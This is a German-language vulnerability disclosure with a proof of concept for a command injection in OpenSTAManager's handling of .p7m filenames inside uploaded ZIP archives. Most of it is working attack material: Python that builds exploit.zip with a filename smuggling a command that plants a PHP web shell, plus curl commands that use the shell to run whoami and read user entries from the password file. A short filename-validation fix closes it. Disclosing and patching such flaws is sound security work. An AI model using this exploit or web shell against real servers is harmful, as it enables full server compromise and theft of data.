---

---

Erklärung des Exploits

1. Speichert einen Shell-Befehl in der Variable cmd (wodurch eine Datei namens SHELL.php erstellt wird, die PHP-Code enthält, der Befehle ausführen kann).
2. Erstellt einen speziell präparierten Dateinamen, der den Befehl aus der Variable cmd verbirgt, und speichert ihn in der Variable malicious_file.
3. Erstellt eine neue ZIP-Datei namens exploit.zip und öffnet sie zum Schreiben.
4. Fügt eine Datei zum ZIP hinzu. Ihr Dateiname ist die Variable malicious_file.
5. Der bösartige Dateiname wird in den exec()-Befehl eingeschleust.

---

PoC (Proof of Concept)

1. ZIP-Datei zum Einschleusen erstellen

import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Datei ausführen & hochladen

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip

3. Ergebnis des Exploits

XML-Parsing schlägt nach der Befehlsausführung fehl

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. Verifikation & Remote-Code-Ausführung

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin

---

Führt zu...

Angriff	Detail
Remote-Code-Ausführung	Vollständige Kompromittierung des Servers durch Befehlsausführung
Datenexfiltration	Zugriff auf alle Anwendungsdaten und die Datenbank
Rechteausweitung	Mögliche Ausweitung, wenn der Webserver mit erhöhten Rechten läuft oder anfällig ist
Persistenz	Backdoors installieren und den Zugriff über die Zeit aufrechterhalten
Laterale Bewegung	Pivot zu anderen Systemen/Benutzern im Netzwerk

---

Fix

**Ein einfacher Fix besteht darin, Dateinamen vor der Verarbeitung zu validieren (nur alphanumerische Zeichen, Punkte, Bindestriche und Unterstriche zulassen, um ungültige Dateinamen zu überspringen)

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(oder du aktualisierst einfach lol)